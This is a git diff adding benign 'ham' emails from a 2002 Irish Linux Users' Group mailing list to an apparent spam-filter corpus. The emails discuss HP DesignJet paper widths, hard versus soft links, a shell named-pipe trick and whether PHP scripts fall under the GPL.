Hobbiton.cod.ie (8.11.6/8.9.3) id + g6JHjT602412 for ilug@linux.ie; Fri, 19 Jul 2002 18:45:29 +0100 +Date: Fri, 19 Jul 2002 18:45:28 +0100 +From: Conor Daly +To: ilug@linux.ie +Subject: Re: [ILUG] OSI protocol +Message-Id: <20020719184528.A2032@Hobbiton.cod.ie> +Mail-Followup-To: ilug@linux.ie +References: <20020719143536.GC2506@bagend.makalumedia.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020719143536.GC2506@bagend.makalumedia.com>; + from niall@linux.ie on Fri, Jul 19, 2002 at 03:35:36PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Jul 19, 2002 at 03:35:36PM +0100 or so it is rumoured hereabouts, +Niall O Broin thought: +> illustrates this admirably. The poster is in the form of a PDF file and to +> be honest, is best appreciated if you have access to a HP DesignJet or + +Speaking of HP Designjets, has anyone managed to utilise the full width of +the paper on a HP Designjet 750c under RH7.x? The HP can take a 24" wide +roll while the driver (dnj650c) lists a paper size of 16x24. +Unfortunately, this will print only in protrait mode so I get a 24"x24" +page with an unused 8" strip down one side! I'd like to be able to print +24x or whatever (even 24x30!) but I don't seem able to do so. + +Any thoughts? + +Conor +-- +Conor Daly + +Domestic Sysadmin :-) +--------------------- +Faenor.cod.ie + 6:49pm up 57 days, 4:07, 0 users, load average: 0.03, 0.03, 0.00 +Hobbiton.cod.ie + 6:38pm up 1:15, 1 user, load average: 0.03, 0.06, 0.04 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00110.445d52a2f1807faf97f15e370b1b73b8 b/bayes/spamham/easy_ham_2/00110.445d52a2f1807faf97f15e370b1b73b8 new file mode 100644 index 0000000..04c8e45 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00110.445d52a2f1807faf97f15e370b1b73b8 @@ -0,0 +1,103 @@ +From ilug-admin@linux.ie Mon Jul 22 19:49:49 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D9983440C8 + for ; Mon, 22 Jul 2002 14:49:47 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:49:47 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQg403662 for + ; Mon, 22 Jul 2002 18:26:42 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id HAA22510 for ; + Sat, 20 Jul 2002 07:15:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id HAA20661; Sat, 20 Jul 2002 07:11:25 +0100 +Received: from linux.local ([195.218.108.118]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id HAA20630 for ; Sat, + 20 Jul 2002 07:11:02 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.108.118] claimed + to be linux.local +Received: from linux.local (localhost [127.0.0.1]) by linux.local + (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g6JMc9X05992 for + ; Fri, 19 Jul 2002 23:38:09 +0100 +Message-Id: <200207192238.g6JMc9X05992@linux.local> +To: Irish Linux Users Group +Reply-To: Irish Linux Users Group +Subject: Re: [ILUG] hard- vs. soft-links [was: How to copy some files ] +In-Reply-To: Message from + "Matthew French" + of + "Fri, 19 Jul 2002 22:00:02 BST." + <002c01c22f67$4216c280$f264a8c0@sabeo.ie> +X-Mailer: [nmh-1.0.4] MH.6.8, SuSE Linux 7.3 +X-Url: http://www.blf.utvinternet.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Id: <5989.1027118289.1@linux.local> +Date: Fri, 19 Jul 2002 23:38:09 +0100 +From: Brian Foster +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + HAA20630 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + | Date: Fri, 19 Jul 2002 22:00:02 +0100 + | From: "Matthew French" + |[ ... ] + | Now here is a thought: a Unix version of the "Deleted Items" folder. + | + | In the root of a hard drive, create a directory ".unwanted". + | Then periodically create hard links to every file on the hard + | drive that does not have hard links. + | + | That way, when someone accidentally does "rm *" or whatever, + | you still have a link under ".unwanted" [ ... ] + + hum. interesting variation on the classic technique of + redefining `rm' to `mv' the files into `./.trash/' (or + with a prefix of `#' or a suffix of `~'; the variations + are endless). these classic techniques only provide a + means to roll back accidental `rm's, so there is still + considerable scope for data lost as there are other ways + of deleting files --- which is not a problem for this + hard link idea. + + but, like the classic techniques, there is no rolling + back of accidental overwrites. + + ( rolling back overwrites reminds me of the "snapshot" + facility on NetWork Appliance fileservers. and of the + various "versioning" filesystems which appeared --- and + then vanished? --- over the years.... ) + + one severe(?) gotcha is some files shouldn't have any + hard links. both RCS *,v (and hence CVS) and SCCS s.* + files are like this --- the RCS(/CVS?)/SCCS toolsets + complain if there are hard links. + +cheers, + -blf- +-- + Innovative, very experienced, Unix and | Brian Foster Dublin, Ireland + Chorus (embedded RTOS) kernel internals | e-mail: blf@utvinternet.ie + expert looking for a new position ... | mobile: (+353 or 0)86 854 9268 + For a résumé, contact me, or see my website http://www.blf.utvinternet.ie + + Stop E$$o (ExxonMobile): «Whatever you do, don't buy Esso --- they + don't give a damn about global warming.» http://www.stopesso.com + Supported by Greenpeace, Friends of the Earth, and numerous others... + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00111.6ef33536e4b7d32c35be6297914c6c4a b/bayes/spamham/easy_ham_2/00111.6ef33536e4b7d32c35be6297914c6c4a new file mode 100644 index 0000000..1d1ae8c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00111.6ef33536e4b7d32c35be6297914c6c4a @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Mon Jul 22 19:49:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C65E3440C9 + for ; Mon, 22 Jul 2002 14:49:53 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:49:53 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQX403517 for + ; Mon, 22 Jul 2002 18:26:33 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id KAA22935 for ; + Sat, 20 Jul 2002 10:50:41 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA28089; Sat, 20 Jul 2002 10:48:13 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA28062 for ; + Sat, 20 Jul 2002 10:48:07 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id 3AB4B2B303 for ; + Sat, 20 Jul 2002 10:47:37 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2196) id 183B7E958; + Sat, 20 Jul 2002 10:47:37 +0100 (IST) +Date: Sat, 20 Jul 2002 10:47:36 +0100 +From: Stephen Shirley +To: Irish Linux Users Group +Message-Id: <20020720094736.GA16224@skynet.ie> +Mail-Followup-To: Irish Linux Users Group +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.24i +Subject: [ILUG] vanquishing the daemons of shell scripting +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Mornin' all, + Last night, i was involved in an epic struggle to write a shell +script to do a certain task. The battle raged for hours, but, i'm glad +to inform you, i emerged victorious. The problem was as follows: + It's very easy to get one program to act on the output of a second +program: cmd1 | cmd2. But, what if you want cmd1 to act on the output of +cmd2 as well? Hmm. Eventually, I came up with this solution: + + mkfifo io + cmd1 io + +and bingo, all was well with the world. Now, I have (and had) a sneaking +suspcion that it might be possible to do this without using a fifo, and +can be done using something like: + + exec 3>&1 + cmd1 <&3 | cmd2 >&3 + exec 3>&- + +but that doesn't work in that form, and i couldn't work out an +incantation that would. Anyone got any suggestions? Anyway, victory is +mine, and i is happy person once again. In case you were wondering, the +aim of all of this was to write a shell script that could check for new +mail on an imap server. + +Steve +-- +"Oh look, it's the Pigeon of Love." + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00112.b7fece154c12b4167c138d08aafd675b b/bayes/spamham/easy_ham_2/00112.b7fece154c12b4167c138d08aafd675b new file mode 100644 index 0000000..1442189 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00112.b7fece154c12b4167c138d08aafd675b @@ -0,0 +1,80 @@ +From ilug-admin@linux.ie Mon Jul 22 19:50:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CB4B4440C8 + for ; Mon, 22 Jul 2002 14:49:59 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:49:59 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQY403542 for + ; Mon, 22 Jul 2002 18:26:34 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA22837 for ; + Sat, 20 Jul 2002 09:56:52 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA25881; Sat, 20 Jul 2002 09:46:48 +0100 +Received: from mail.magicgoeshere.com (nw152-60.indigo.ie [194.125.152.60] + (may be forged)) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id JAA25841 + for ; Sat, 20 Jul 2002 09:46:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host nw152-60.indigo.ie + [194.125.152.60] (may be forged) claimed to be mail.magicgoeshere.com +Received: from bagend.magicgoeshere.com (ts15-163.dublin.indigo.ie + [194.125.176.163]) by mail.magicgoeshere.com (Postfix) with ESMTP id + 90B81F8FE for ; Sat, 20 Jul 2002 09:31:33 +0100 (IST) +Received: by bagend.magicgoeshere.com (Postfix, from userid 501) id + 164523C19C; Fri, 19 Jul 2002 23:17:36 +0100 (IST) +Date: Fri, 19 Jul 2002 23:17:35 +0100 +From: Niall O Broin +To: ilug@linux.ie +Subject: Re: [ILUG] How to copy some files +Message-Id: <20020719221735.GB3854@bagend.makalumedia.com> +Reply-To: ilug@linux.ie +Mail-Followup-To: Niall O Broin , ilug@linux.ie +References: <1027108120.3d386d180910a@webmail.gameshrine.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <1027108120.3d386d180910a@webmail.gameshrine.com> +User-Agent: Mutt/1.3.27i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Jul 19, 2002 at 08:48:40PM +0100, Ronan Cunniffe wrote: +> Quoting Ronan Waide : +> +> > Sure, but soft links would do the same. To be honest, I'm trying to +> > think of a useful use of hard links right now, and I'm a little +> > stumped. There's gotta be some benefit that I'm missing that's +> > immediately obvious to everyone. +> +> Using Niall's example - single set of files but >1 namespace, and suppose that +> you want to delete some items from the set according to rules applied to the +> namespaces. With soft links you need an *extra* namespace the others refer to, +> and after filtering the namespaces, you have to do a manual reference count to +> decide what goes and what stays. With hard links, you just unlink and deletion +> is automatic. + +Couldn't have put it better myself, but that's not going to stop me trying :-) +The above situation occurs precisely because of the major functional difference +between symbolic links (AKA soft links, or symlinks to their friends) and hard +links. Two hard links to the same file are exactly equivalent - one is no more +the files "real" directory entry than is the other. OTOH a symlink is a special +thing which is a link to a real file, and when the file linked to is erased, you +end up with a broken symbolic link - you can't have a broken hard link (except +of course in the case of a banjaxed filesystem). + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00113.c3f906e0fa61549e358af0ed02a70052 b/bayes/spamham/easy_ham_2/00113.c3f906e0fa61549e358af0ed02a70052 new file mode 100644 index 0000000..d7d869a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00113.c3f906e0fa61549e358af0ed02a70052 @@ -0,0 +1,73 @@ +From ilug-admin@linux.ie Mon Jul 22 19:50:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E7ED3440C9 + for ; Mon, 22 Jul 2002 14:50:05 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:50:05 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQT403450 for + ; Mon, 22 Jul 2002 18:26:29 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id MAA23309 for ; + Sat, 20 Jul 2002 12:23:51 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA31355; Sat, 20 Jul 2002 12:19:51 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail1.mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA31326 for ; + Sat, 20 Jul 2002 12:19:45 +0100 +Received: from [194.165.167.234] (helo=excalibur.research.wombat.ie) by + mail1.mail.iol.ie with esmtp (Exim 3.35 #1) id 17VsA6-00081L-00 for + ilug@linux.ie; Sat, 20 Jul 2002 12:12:34 +0100 +Received: (from kenn@localhost) by excalibur.research.wombat.ie + (8.11.6/8.11.6) id g6KBIv327643 for ilug@linux.ie; Sat, 20 Jul 2002 + 12:18:57 +0100 +Date: Sat, 20 Jul 2002 12:18:57 +0100 +From: Kenn Humborg +To: Irish Linux Users Group +Subject: Re: [ILUG] vanquishing the daemons of shell scripting +Message-Id: <20020720121857.A27503@excalibur.research.wombat.ie> +References: <20020720094736.GA16224@skynet.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020720094736.GA16224@skynet.ie>; from diamond@skynet.ie on + Sat, Jul 20, 2002 at 10:47:36AM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sat, Jul 20, 2002 at 10:47:36AM +0100, Stephen Shirley wrote: +... +> It's very easy to get one program to act on the output of a second +> program: cmd1 | cmd2. But, what if you want cmd1 to act on the output of +> cmd2 as well? Hmm. Eventually, I came up with this solution: +> +> mkfifo io +> cmd1 io +... +> mine, and i is happy person once again. In case you were wondering, the +> aim of all of this was to write a shell script that could check for new +> mail on an imap server. + +Doesn't answer your question, but perhaps a combination of expect and +(netcat or telnet) might have made for an easier solution? + +Later +Kenn + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00114.d3ca141da5a2b48b30d803292dad2da7 b/bayes/spamham/easy_ham_2/00114.d3ca141da5a2b48b30d803292dad2da7 new file mode 100644 index 0000000..21eece5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00114.d3ca141da5a2b48b30d803292dad2da7 @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Mon Jul 22 19:50:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 541F2440C8 + for ; Mon, 22 Jul 2002 14:50:12 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:50:12 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQX403500 for + ; Mon, 22 Jul 2002 18:26:33 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA23008 for ; + Sat, 20 Jul 2002 11:11:45 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA28988; Sat, 20 Jul 2002 11:11:19 +0100 +Received: from matrix.netsoc.tcd.ie (netsoc.tcd.ie [134.226.83.50]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA28950 for ; + Sat, 20 Jul 2002 11:11:12 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host netsoc.tcd.ie + [134.226.83.50] claimed to be matrix.netsoc.tcd.ie +Received: by matrix.netsoc.tcd.ie (Postfix, from userid 1003) id + EB5AA3445A; Sat, 20 Jul 2002 11:11:11 +0100 (IST) +From: Aidan Kehoe +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Message-Id: <15673.14143.879609.371088@gargle.gargle.HOWL> +Date: Sat, 20 Jul 2002 11:11:11 +0100 +To: ILUG Mailing List +Subject: Re: [ILUG] How to copy some files +In-Reply-To: <1027108120.3d386d180910a@webmail.gameshrine.com> +References: <1027108120.3d386d180910a@webmail.gameshrine.com> +Reply-To: Aidan Kehoe +X-Echelon-Distraction: no|d Compsec 97 ISG Glock 26 Ronco MF +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + + Quoting Ronan Waide : + + > Sure, but soft links would do the same. To be honest, I'm trying to + > think of a useful use of hard links right now, and I'm a little + > stumped. There's gotta be some benefit that I'm missing that's + > immediately obvious to everyone. + +No there doesn't :-) . The Bell labs Unix people implemented hard +links, whereas Bill Joy and co. at Berkeley implemented soft links, +five years later, mainly to get around not being able to do +cross-device hard linking, as I understand it. Soft links are fairly +classic Berkeley hackery (cf. gethostbyname, h_errno, and the +resultant problems implementing mt-safe interfaces); they do what they +were intended for, but break fairly easily, in this case when the +target file was deleted. For a better design for similar ideas, see +the MacOS. + +-- +I'm not a pheasant plucker / I'm a pheasant plucker's son. +I'm just a'plucking pheasants / 'Til the pheasant plucker comes. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00115.c2fdffd60ddc035e3ac642f69301715f b/bayes/spamham/easy_ham_2/00115.c2fdffd60ddc035e3ac642f69301715f new file mode 100644 index 0000000..e9ee58d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00115.c2fdffd60ddc035e3ac642f69301715f @@ -0,0 +1,123 @@ +From ilug-admin@linux.ie Mon Jul 22 19:50:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C4864440C9 + for ; Mon, 22 Jul 2002 14:50:13 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:50:13 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQY403544 for + ; Mon, 22 Jul 2002 18:26:35 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA22824 for ; + Sat, 20 Jul 2002 09:47:44 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA25916; Sat, 20 Jul 2002 09:46:58 +0100 +Received: from mail.magicgoeshere.com (nw152-60.indigo.ie [194.125.152.60] + (may be forged)) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id JAA25845 + for ; Sat, 20 Jul 2002 09:46:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host nw152-60.indigo.ie + [194.125.152.60] (may be forged) claimed to be mail.magicgoeshere.com +Received: from bagend.magicgoeshere.com (ts15-163.dublin.indigo.ie + [194.125.176.163]) by mail.magicgoeshere.com (Postfix) with ESMTP id + 80E8FF8FD for ; Sat, 20 Jul 2002 09:31:33 +0100 (IST) +Received: by bagend.magicgoeshere.com (Postfix, from userid 501) id + 14BB93C1AE; Fri, 19 Jul 2002 23:47:40 +0100 (IST) +Date: Fri, 19 Jul 2002 23:47:39 +0100 +From: Niall O Broin +To: ilug@linux.ie +Subject: Re: [ILUG] [OT] GPL & PHP Question +Message-Id: <20020719224739.GC3854@bagend.makalumedia.com> +Reply-To: ilug@linux.ie +Mail-Followup-To: Niall O Broin , ilug@linux.ie +References: <200207192053.VAA32306@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <200207192053.VAA32306@lugh.tuatha.org> +User-Agent: Mutt/1.3.27i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Jul 19, 2002 at 09:53:16PM +0100, awhalley@eircom.net wrote: + +> The setup is as follows: +> I develop a piece of code using PHP 3.0.9 which is, to +> my knowledge, GPL. + +PHP is released under the GPL, yes. + +> The piece of code runs on my server and is an integral part of a system +> that I have developed for a client. I did not recieve payment for this +> particular piece of code but I did recieve payment for the system. My client +> now wants to use a different service provider but keep my code. + +> Do I have a right to claim intellectual property rights for my little +> piece of code that he did not pay me for or do I have to give the client the +> code under the GPL. + +Exactly what rights you would have to the code depends on the contractual +arrangement you have with your client, and I'm betting that that's not at +all cut and dried. + +However, I have been in this situation where a client was using code I +developed and then decided that he should own the code. Push never came to +shove (at least, not yet :-) ) but my understanding of the situation vis a +vis software is that in the absence of any contract granting ownership of +the code to another party, it remains with the person who wrote it. I didn't +take legal advice on this but my customer did :-) and his lawyer told him +that I was right and would most likely win in court. + +So much for the ownership of the code vis a vis you and your client - now for +the GPL issues. + +Code compiled by a compiler which is GPL software (e.g. gcc) is not itself +covered by the GPL unless its author chooses to make it so. This is perhaps +not made clear enough in the GPL text and is a particular piece of FUD which +Microsoft loves to toss about. Similarly, the copy of PHP which is part of +your customer's system is covered by the GPL. You can charge him whatever +you like for it but you must provide him with acces to the source code, and +you cannot restrict what he can do with it (in this case, move it to another +service provider). However, you have not (I take it) chosen to license YOUR +code under the GPL so the conditions of the GPL do NOT apply to it. + +If OTOH you had written some code which modified PHP as such, and then +distributed (whether for a fee or not) that modified PHP, then the modified +code must be licensed under the GPL. But this applies to a modification to +PHP itself and NOT to your scripts which run under PHP. + +The relevant clause is 2(b) which says (though Lord knows why I'm quoting when +locate COPYING will turn up a shedload of copies of the GPL on just about +any Linux box - 540 on this box) + +b) You must cause any work that you distribute or publish, that in whole or +in part contains or is derived from the Program or any part thereof, to be +licensed as a whole at no charge to all third parties under the terms of +this License. + + +Your PHP scripts do not contain, nor are they derived from, PHP, in whole or +in part. + +> I know this is not strictly a 'Linux' issue but any help would be appreciated + +Microsoft has very much made this a Linux issue - it has attempted to imply +that any company using GPL software must make everything it owns public and +it must be true - that nice man from Microsoft wouldn't lie, would he ? + + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00116.409b29c26edef06268b4bfa03ef1367a b/bayes/spamham/easy_ham_2/00116.409b29c26edef06268b4bfa03ef1367a new file mode 100644 index 0000000..be7de59 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00116.409b29c26edef06268b4bfa03ef1367a @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Mon Jul 22 19:50:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 68F1E440CC + for ; Mon, 22 Jul 2002 14:50:14 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:50:14 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MHQM403358 for + ; Mon, 22 Jul 2002 18:26:22 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id NAA23579 for ; + Sat, 20 Jul 2002 13:57:48 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA02357; Sat, 20 Jul 2002 13:54:47 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id NAA02323 for ; + Sat, 20 Jul 2002 13:54:41 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id 00D282B2D2 for ; + Sat, 20 Jul 2002 13:54:11 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2196) id E0919E958; + Sat, 20 Jul 2002 13:54:10 +0100 (IST) +Date: Sat, 20 Jul 2002 13:54:10 +0100 +From: Stephen Shirley +To: Irish Linux Users Group +Subject: Re: [ILUG] vanquishing the daemons of shell scripting +Message-Id: <20020720125410.GA22048@skynet.ie> +Mail-Followup-To: Irish Linux Users Group +References: <20020720094736.GA16224@skynet.ie> + <20020720121857.A27503@excalibur.research.wombat.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020720121857.A27503@excalibur.research.wombat.ie> +User-Agent: Mutt/1.3.24i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sat, Jul 20, 2002 at 12:18:57PM +0100, Kenn Humborg wrote: +> > mine, and i is happy person once again. In case you were wondering, the +> > aim of all of this was to write a shell script that could check for new +> > mail on an imap server. +> +> Doesn't answer your question, but perhaps a combination of expect and +> (netcat or telnet) might have made for an easier solution? + +Indeed, and that was the fall-back plan if i couldn't figure this out, +but i knew it had to be possible, and was determined to find a way. + +Steve +-- +"Oh look, it's the Pigeon of Love." + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00117.327d1cd221779efbb7839d15fe3fd4d7 b/bayes/spamham/easy_ham_2/00117.327d1cd221779efbb7839d15fe3fd4d7 new file mode 100644 index 0000000..0c1acd2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00117.327d1cd221779efbb7839d15fe3fd4d7 @@ -0,0 +1,116 @@ +From ilug-admin@linux.ie Mon Jul 22 18:11:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by 